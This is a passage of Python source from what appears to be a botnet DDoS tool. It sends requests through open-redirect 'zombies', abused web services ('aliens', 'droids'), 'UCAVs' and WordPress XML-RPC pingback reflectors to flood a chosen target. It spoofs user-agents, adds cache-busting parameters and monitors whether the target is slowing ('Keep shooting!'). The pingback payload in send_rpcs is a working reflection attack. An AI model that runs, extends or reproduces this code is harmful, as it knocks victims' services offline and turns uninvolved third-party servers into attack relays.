  3972. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  3973. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3974. return ucavs
  3975. def send_ucavs(self, ucavs):
  3976. # extract external status checkers, perform a request and check results
  3977. time.sleep(5) # aiming (multi-threading flow time compensation)
  3978. if not self.options.disablepurge:
  3979. if not ucavs: # return when not any working
  3980. self.options.disableucavs = True
  3981. return
  3982. options = self.options
  3983. target = self.options.target
  3984. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3985. if not self.options.disablepurge:
  3986. for ucav in ucavs:
  3987. if not ucav.startswith('http'): # discarded inmediately
  3988. self.discard_ucavs.append(ucav)
  3989. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3990. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3991. if not self.options.disablepurge:
  3992. if not ucavs: # return when not any working
  3993. self.options.disableucavs = True
  3994. return
  3995. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  3996. for ucav in ucavs:
  3997. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3998. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3999. if target.startswith("http://"): # parse target for some checkers
  4000. target = target.replace('http://','')
  4001. elif target.startswith("https://"):
  4002. target = target.replace('https://','')
  4003. url = ucav + target
  4004. t = urlparse(ucav)
  4005. name_ucav = t.netloc
  4006. if name_ucav == "":
  4007. name_ucav = ucav
  4008. if options.verbose:
  4009. print(("[Info] [UCAVs] Sniping: " + url))
  4010. try:
  4011. if options.proxy: # set proxy
  4012. self.proxy_transport(options.proxy)
  4013. if options.timeout: # set timeout
  4014. ucav_timeout = options.timeout
  4015. else:
  4016. ucav_timeout = 5
  4017. if ucav_timeout < 1:
  4018. ucav_timeout = 5
  4019. req = urllib.request.Request(url, None, headers)
  4020. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4021. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4022. except:
  4023. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4024. if not self.options.disablepurge:
  4025. self.discard_ucavs.append(ucav)
  4026. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4027. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4028. target_reply = ""
  4029. if target_reply == "": # check for target's status resolved by [UCAVs]
  4030. pass
  4031. else:
  4032. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4033. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4034. self.num_is_up = self.num_is_up + 1
  4035. else:
  4036. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4037. self.num_is_down = self.num_is_down + 1
  4038. if self.options.verbose:
  4039. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4040. self.extra_zombies_lock = False # [ARMY] have finished
  4041. def extract_median(self, num_list):
  4042. # extract median from a list of numbers
  4043. import statistics
  4044. int_num = []
  4045. for num in num_list:
  4046. num = float(num)
  4047. int_num.append(num)
  4048. return statistics.median(int_num)
  4049. def check_is_loading(self, target):
  4050. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4051. self.start = None
  4052. self.stop = None
  4053. print('\n---------')
  4054. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4055. if target.endswith(""):
  4056. target.replace("", "/")
  4057. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4058. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4059. try:
  4060. req = urllib.request.Request(target, None, headers)
  4061. if self.options.proxy: # set proxy
  4062. self.proxy_transport(self.options.proxy)
  4063. if self.options.timeout: # set timeout
  4064. try:
  4065. timeout = int(self.options.timeout)
  4066. except:
  4067. timeout = 5
  4068. else:
  4069. timeout = 5
  4070. if timeout < 1:
  4071. timeout = 5
  4072. self.start = time.time()
  4073. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4074. header = urllib.request.urlopen(req, context=self.ctx).info()
  4075. self.stop = time.time()
  4076. except:
  4077. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4078. return
  4079. try:
  4080. s, size_name = self.convert_size(len(target_reply))
  4081. self.loadcheck_size_list.append(s) # add record to size list
  4082. size = '%s %s' % (s,size_name)
  4083. except:
  4084. size = "Error!"
  4085. try:
  4086. time_required = self.stop - self.start
  4087. load = self.convert_time(time_required)
  4088. self.loadcheck_load_list.append(load) # add record to load list
  4089. except:
  4090. load = "Error!"
  4091. self.loadcheck_counter = self.loadcheck_counter + 1
  4092. print(' -Total tests:', self.loadcheck_counter, "\n")
  4093. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4094. lsm = self.extract_median(self.loadcheck_size_list)
  4095. if lsm is not None:
  4096. self.loadcheck_size_median = str(lsm) + " " + size_name
  4097. else:
  4098. self.loadcheck_size_median = None
  4099. llm = self.extract_median(self.loadcheck_load_list)
  4100. if llm is not None:
  4101. self.loadcheck_load_median = str(llm) + " seconds"
  4102. else:
  4103. self.loadcheck_load_median = None
  4104. if self.loadcheck_counter == 2: # first round
  4105. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4106. print(' -Bytes in (this round) :', size)
  4107. if self.loadcheck_size_median is not None:
  4108. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4109. print(' ----')
  4110. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4111. print(' -Load time (this round) :', load, "seconds")
  4112. if self.loadcheck_load_median is not None:
  4113. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4114. else:
  4115. print("\n")
  4116. self.loadcheck_size_max = None
  4117. self.loadcheck_size_min = None
  4118. self.loadcheck_load_max = None
  4119. self.loadcheck_load_min = None
  4120. elif self.loadcheck_counter > 2: # rest of rounds
  4121. lsmax = max(self.loadcheck_size_list)
  4122. if lsmax is not None:
  4123. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4124. else:
  4125. self.loadcheck_size_max = None
  4126. lsmin = min(self.loadcheck_size_list)
  4127. if lsmin is not None:
  4128. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4129. else:
  4130. self.loadcheck_size_min = None
  4131. llmax = max(self.loadcheck_load_list)
  4132. if llmax is not None:
  4133. self.loadcheck_load_max = str(llmax) + " seconds"
  4134. else:
  4135. self.loadcheck_load_max = None
  4136. llmin = min(self.loadcheck_load_list)
  4137. if llmin is not None:
  4138. self.loadcheck_load_min = str(llmin) + " seconds"
  4139. else:
  4140. self.loadcheck_load_min = None
  4141. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4142. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4143. print(' -Bytes in (this round) :', size)
  4144. if self.loadcheck_size_max is not None:
  4145. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4146. if self.loadcheck_size_min is not None:
  4147. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4148. if self.loadcheck_size_median is not None:
  4149. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4150. print(' ----')
  4151. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4152. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4153. print(' -Load time (this round) :', load, "seconds")
  4154. if self.loadcheck_load_max is not None:
  4155. print(' -Load time (max) :', self.loadcheck_load_max)
  4156. if self.loadcheck_load_min is not None:
  4157. print(' -Load time (min) :', self.loadcheck_load_min)
  4158. if self.loadcheck_load_median is not None:
  4159. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4160. else:
  4161. print("\n")
  4162. if self.loadcheck_prev_load < load: # target is loading more slowly
  4163. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4164. elif self.loadcheck_prev_load == load: # inmutable target
  4165. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4166. elif self.loadcheck_prev_load > load: # is target defending?
  4167. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4168. else:
  4169. print(' -Bytes in (this round) :', size)
  4170. print(' -Load time (this round):', load, "seconds\n")
  4171. self.loadcheck_first_size = size
  4172. self.loadcheck_first_load = load
  4173. self.loadcheck_size_median = None
  4174. self.loadcheck_load_median = None
  4175. self.loadcheck_size_max = None
  4176. self.loadcheck_size_min = None
  4177. self.loadcheck_load_max = None
  4178. self.loadcheck_load_min = None
  4179. self.loadcheck_prev_size = size # record previous size
  4180. self.loadcheck_prev_load = load # record previous load
  4181. def convert_size(self, size):
  4182. if (size == 0):
  4183. return '0 B'
  4184. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4185. i = int(math.floor(math.log(size,1024)))
  4186. p = math.pow(1024,i)
  4187. s = round(size/p,2)
  4188. return s, size_name[i]
  4189. def convert_time(self, time):
  4190. return '%.2f' % time
  4191. def discarding_zombies(self, zombie, zombies):
  4192. if zombie in self.discardzombies:
  4193. zombies.remove(zombie)
  4194. if self.options.verbose:
  4195. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4196. return zombies
  4197. def send_zombies(self, zombies):
  4198. # send Open Redirect zombies
  4199. time.sleep(1) # aiming (multi-threading flow time compensation)
  4200. if not self.options.disablepurge:
  4201. if not zombies:
  4202. self.empty_zombies = True
  4203. return
  4204. if self.options.verbose:
  4205. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4206. options = self.options
  4207. target = self.options.target
  4208. shuffle(zombies) # shuffle zombies order, each round :-)
  4209. if not self.options.disablepurge:
  4210. for zombie in zombies: # check if zombie is failing for autobalance army
  4211. if not zombie.startswith('http'): # discarded inmediately
  4212. self.discardzombies.append(zombie)
  4213. self.num_discard_zombies = self.num_discard_zombies + 1
  4214. zombies = self.discarding_zombies(zombie, zombies)
  4215. if not self.options.disablepurge:
  4216. if not zombies: # return when not any working
  4217. self.empty_zombies = True
  4218. return
  4219. for zombie in zombies:
  4220. t = urlparse(zombie)
  4221. name_zombie = t.netloc
  4222. if name_zombie == "":
  4223. name_zombie = zombie
  4224. if not self.options.attackme:
  4225. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4226. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4227. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4228. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4229. self.options.target = target
  4230. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4231. print("[Info] [Zombies] Payload: " + target)
  4232. print('='*55, "\n")
  4233. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4234. if not options.target.startswith('http'):
  4235. if options.forcessl:
  4236. options.target = "https://" + options.target
  4237. else:
  4238. options.target = "http://" + options.target
  4239. self.attack_mode = True
  4240. try:
  4241. if options.verbose:
  4242. print("[Info] [Zombies] Sniping: " + options.target)
  4243. self.connect_zombies(zombie)
  4244. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4245. self.db_flash = self.db_flash + 1
  4246. stress = self.stressing(target, zombie)
  4247. except Exception:
  4248. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4249. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4250. if not self.options.disablepurge:
  4251. self.discardzombies.append(zombie)
  4252. self.num_discard_zombies = self.num_discard_zombies + 1
  4253. if self.options.verbose:
  4254. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4255. self.attack_mode = False
  4256. def discarding_aliens(self, alien, aliens):
  4257. if alien in self.discard_aliens:
  4258. aliens.remove(alien)
  4259. if self.options.verbose:
  4260. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4261. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4262. return aliens
  4263. def send_aliens(self, aliens):
  4264. # extract external web abuse services urls (POST) and perform requests against target
  4265. time.sleep(2) # aiming (multi-threading flow time compensation)
  4266. if not self.options.disablepurge:
  4267. if not aliens: # return when not any working
  4268. self.options.disablealiens = True
  4269. return
  4270. target = self.options.target
  4271. options = self.options
  4272. shuffle(aliens) # shuffle aliens
  4273. if not self.options.disablepurge:
  4274. for alien in aliens:
  4275. if not alien.startswith('http'): # discarded inmediately
  4276. self.discard_aliens.append(alien)
  4277. self.num_discard_aliens = self.num_discard_aliens + 1
  4278. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4279. if not self.options.disablepurge:
  4280. if not aliens: # return when not any working
  4281. self.options.disablealiens = True
  4282. return
  4283. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4284. for alien in aliens:
  4285. name_alien = None
  4286. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4287. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4288. pattern_alien = re.compile(regex_alien)
  4289. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4290. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4291. pattern_param = re.compile(regex_param)
  4292. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4293. for u in alien_url:
  4294. url = u # ex: POST -> path/submit.php
  4295. t = urlparse(url)
  4296. name_alien = t.netloc
  4297. if name_alien == "":
  4298. name_alien = alien
  4299. print("[Info] [Aliens] Attacking from: " + name_alien)
  4300. for p in param:
  4301. param_target = {p : target} # ex POST -> url=target
  4302. param_target = urllib.parse.urlencode(param_target)
  4303. try:
  4304. if options.verbose:
  4305. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4306. if options.proxy: # set proxy
  4307. self.proxy_transport(options.proxy)
  4308. if self.options.timeout: # set timeout
  4309. try:
  4310. alien_timeout = int(self.options.timeout)
  4311. except:
  4312. alien_timeout = 5
  4313. else:
  4314. alien_timeout = 5
  4315. if alien_timeout < 1:
  4316. alien_timeout = 5
  4317. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4318. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4319. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4320. except Exception:
  4321. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4322. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4323. if not self.options.disablepurge:
  4324. self.discard_aliens.append(alien)
  4325. self.num_discard_aliens = self.num_discard_aliens + 1
  4326. else:
  4327. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4328. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4329. if not self.options.disablepurge:
  4330. self.discard_aliens.append(alien)
  4331. self.num_discard_aliens = self.num_discard_aliens + 1
  4332. if self.options.verbose:
  4333. if name_alien:
  4334. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4335. else:
  4336. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4337. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4338. self.extra_zombies_lock = False # [ARMY] have finished
  4339. def extract_aliens(self):
  4340. # extract aliens from file
  4341. options = self.options
  4342. try:
  4343. f = open(self.aliens_file)
  4344. aliens = f.readlines()
  4345. aliens = [ alien.replace('\n','') for alien in aliens ]
  4346. f.close()
  4347. if not aliens:
  4348. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4349. self.options.disablealiens = True
  4350. return
  4351. else:
  4352. return aliens
  4353. except:
  4354. if os.path.exists(self.aliens_file) == True:
  4355. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4356. return #sys.exit(2)
  4357. else:
  4358. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4359. return #sys.exit(2)
  4360. def discarding_droids(self, droid, droids):
  4361. if droid in self.discard_droids:
  4362. droids.remove(droid)
  4363. if self.options.verbose:
  4364. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4365. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4366. return droids
  4367. def send_droids(self, droids):
  4368. # extract external web abuse services urls (GET) and perform requests against target
  4369. time.sleep(3) # aiming (multi-threading flow time compensation)
  4370. if not self.options.disablepurge:
  4371. if not droids: # return when not any working
  4372. self.options.disabledroids = True
  4373. return
  4374. target = self.options.target
  4375. try:
  4376. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4377. except:
  4378. target = urllib.parse.unquote(target)
  4379. if target.startswith('http://'): # remove http
  4380. target = target.replace('http://', '')
  4381. if target.startswith('https://'):
  4382. target = target.replace('https://', '') # remove https
  4383. options = self.options
  4384. shuffle(droids) # shuffle droids
  4385. if not self.options.disablepurge:
  4386. for droid in droids:
  4387. if not droid.startswith('http'): # discarded inmediately
  4388. self.discard_droids.append(droid)
  4389. self.num_discard_droids = self.num_discard_droids + 1
  4390. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4391. if not self.options.disablepurge:
  4392. if not droids: # return when not any working
  4393. self.options.disabledroids = True
  4394. return
  4395. shuffle(droids) # shuffle droids order, each discarding check :-)
  4396. for droid in droids:
  4397. name_droid = None
  4398. if "$TARGET" in droid: # replace droid/parameter for target
  4399. url = droid.replace("$TARGET", target)
  4400. t = urlparse(url)
  4401. name_droid = t.netloc
  4402. if name_droid == "":
  4403. name_droid = droid
  4404. print("[Info] [Droids] Attacking from: " + name_droid)
  4405. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4406. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4407. try:
  4408. if options.proxy: # set proxy
  4409. self.proxy_transport(options.proxy)
  4410. if self.options.timeout: # set timeout
  4411. try:
  4412. droid_timeout = int(self.options.timeout)
  4413. except:
  4414. droid_timeout = 5
  4415. else:
  4416. droid_timeout = 5
  4417. if droid_timeout < 1:
  4418. droid_timeout = 5
  4419. req = urllib.request.Request(url, None, headers)
  4420. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4421. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4422. except Exception:
  4423. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4424. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4425. if not self.options.disablepurge:
  4426. self.discard_droids.append(droid)
  4427. self.num_discard_droids = self.num_discard_droids + 1
  4428. else:
  4429. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4430. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4431. if not self.options.disablepurge:
  4432. self.discard_droids.append(droid)
  4433. self.num_discard_droids = self.num_discard_droids + 1
  4434. if self.options.verbose:
  4435. if name_droid:
  4436. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4437. else:
  4438. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4439. if self.options.disablerpcs and self.options.disableucavs:
  4440. self.extra_zombies_lock = False # [ARMY] have finished
  4441. def extract_droids(self):
  4442. # extract droids from file
  4443. options = self.options
  4444. try:
  4445. f = open(self.droids_file)
  4446. droids = f.readlines()
  4447. droids = [ droid.replace('\n','') for droid in droids ]
  4448. f.close()
  4449. if not droids:
  4450. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4451. self.options.disabledroids = True
  4452. return
  4453. else:
  4454. return droids
  4455. except:
  4456. if os.path.exists(self.droids_file) == True:
  4457. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4458. return #sys.exit(2)
  4459. else:
  4460. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4461. return #sys.exit(2)
  4462. def discarding_rpcs(self, rpc, rpcs):
  4463. if rpc in self.discard_rpcs:
  4464. rpcs.remove(rpc)
  4465. if self.options.verbose:
  4466. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4467. return rpcs
  4468. def send_rpcs(self, rpcs):
  4469. # extract vulnerable XML-RPC pingback services and perform requests against target
  4470. time.sleep(4) # aiming (multi-threading flow time compensation)
  4471. if not self.options.disablepurge:
  4472. if not rpcs: # return when not any working
  4473. self.options.disablerpcs = True
  4474. return
  4475. target = self.options.target
  4476. options = self.options
  4477. def random_key(length):
  4478. key = ''
  4479. for i in range(length):
  4480. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4481. return key
  4482. shuffle(rpcs) # shuffle rpcs
  4483. if not self.options.disablepurge:
  4484. for rpc in rpcs:
  4485. if not rpc.startswith('http'): # discarded inmediately
  4486. if not self.options.disablepurge:
  4487. self.discard_rpcs.append(rpc)
  4488. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4489. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4490. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4491. if not self.options.disablepurge:
  4492. if not rpcs: # return when not any working
  4493. self.options.disablerpcs = True
  4494. return
  4495. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4496. for rpc in rpcs:
  4497. t = urlparse(rpc)
  4498. name_rpc = t.netloc
  4499. if name_rpc == "":
  4500. name_rpc = rpc
  4501. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4502. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4503. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4504. key = random_key(8) # generate random value page to bypass cache
  4505. rpc_page = "?" + str(key)
  4506. key = random_key(6) # re-generate random value id to bypass cache
  4507. rpc_id = "=" + str(key)
  4508. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4509. if "/xmlrpc.php" in rpc:
  4510. rpc_place = rpc.replace("xmlrpc.php", "")
  4511. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4512. try:
  4513. if options.proxy: # set proxy
  4514. self.proxy_transport(options.proxy)
  4515. if self.options.timeout: # set timeout
  4516. try:
  4517. rpc_timeout = int(self.options.timeout)
  4518. except:
  4519. rpc_timeout = 5
  4520. else:
  4521. rpc_timeout = 5
  4522. if rpc_timeout < 1:
  4523. rpc_timeout = 5
  4524. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  4525. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  4526. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  4527. if self.options.verbose:
  4528. print("[Info] [X-RPCs] Reply:", target_reply)
  4529. except:
  4530. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  4531. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4532. if not self.options.disablepurge:
  4533. self.discard_rpcs.append(rpc)
  4534. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4535. else:
  4536. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  4537. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4538. if not self.options.disablepurge:
  4539. self.discard_rpcs.append(rpc)
  4540. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4541. if self.options.verbose:
  4542. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  4543. if self.options.disableucavs:
  4544. self.extra_zombies_lock = False # [ARMY] have finished
  4545. def extract_rpcs(self):
  4546. # extract rpcs from file
  4547. options = self.options
  4548. try:
  4549. f = open(self.rpcs_file)
  4550. rpcs = f.readlines()
  4551. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  4552. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  4553. f.close()
  4554. if not rpcs:
  4555. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4556. self.options.disablerpcs = True
  4557. return
  4558. else:
  4559. return rpcs
  4560. except:
  4561. if os.path.exists(self.rpcs_file) == True:
  4562. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4563. return
  4564. else:
  4565. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  4566. return
  4567. def extract_ntps(self):
  4568. # extract ntps from file
  4569. options = self.options
  4570. try:
  4571. f = open(self.ntps_file)
  4572. ntps = f.readlines()
  4573. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  4574. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  4575. f.close()
  4576. if not ntps:
  4577. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4578. return
  4579. else:
  4580. return ntps
  4581. except:
  4582. if os.path.exists(self.ntps_file) == True:
  4583. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4584. return
  4585. else:
  4586. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  4587. return
  4588. def extract_dnss(self):
  4589. # extract dnss from file
  4590. options = self.options
  4591. try:
  4592. f = open(self.dnss_file)
  4593. dnss = f.readlines()
  4594. dnss = [ dns.replace('\r','') for dns in dnss ]
  4595. dnss = [ dns.replace('\n','') for dns in dnss ]
  4596. f.close()
  4597. if not dnss:
  4598. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4599. return
  4600. else:
  4601. return dnss
  4602. except:
  4603. if os.path.exists(self.dnss_file) == True:
  4604. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4605. return
  4606. else:
  4607. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  4608. return
  4609. def extract_snmps(self):
  4610. # extract snmps from file
  4611. options = self.options
  4612. try:
  4613. f = open(self.snmps_file)
  4614. snmps = f.readlines()
  4615. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  4616. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  4617. f.close()
  4618. if not snmps:
  4619. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4620. return
  4621. else:
  4622. return snmps
  4623. except:
  4624. if os.path.exists(self.snmps_file) == True:
  4625. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4626. return
  4627. else:
  4628. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  4629. return
  4630. def extract_zombies(self):
  4631. options = self.options
  4632. if self.options.test:
  4633. try:
  4634. f = open(options.test)
  4635. zombies = f.readlines()
  4636. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4637. f.close()
  4638. if not zombies:
  4639. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4640. return
  4641. else:
  4642. return zombies
  4643. except:
  4644. if os.path.exists(options.test) == True:
  4645. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4646. return #sys.exit(2)
  4647. else:
  4648. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4649. return #sys.exit(2)
  4650. else:
  4651. try:
  4652. f = open(self.zombies_file)
  4653. zombies = f.readlines()
  4654. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4655. f.close()
  4656. if not zombies:
  4657. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4658. return
  4659. else:
  4660. return zombies
  4661. except:
  4662. if os.path.exists(self.zombies_file) == True:
  4663. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4664. return #sys.exit(2)
  4665. else:
  4666. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4667. return #sys.exit(2)
  4668. def extract_target_list(self):
  4669. options = self.options
  4670. try:
  4671. f = open(options.target_list)
  4672. targets = f.readlines()
  4673. targets = [ target.replace('\n','') for target in targets ]
  4674. f.close()
  4675. if not targets:
  4676. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4677. return
  4678. else:
  4679. return targets
  4680. except:
  4681. if os.path.exists(options.target_list) == True:
  4682. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4683. return #sys.exit(2)
  4684. else:
  4685. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4686. return #sys.exit(2)
  4687. def update_zombies(self, zombies_ready):
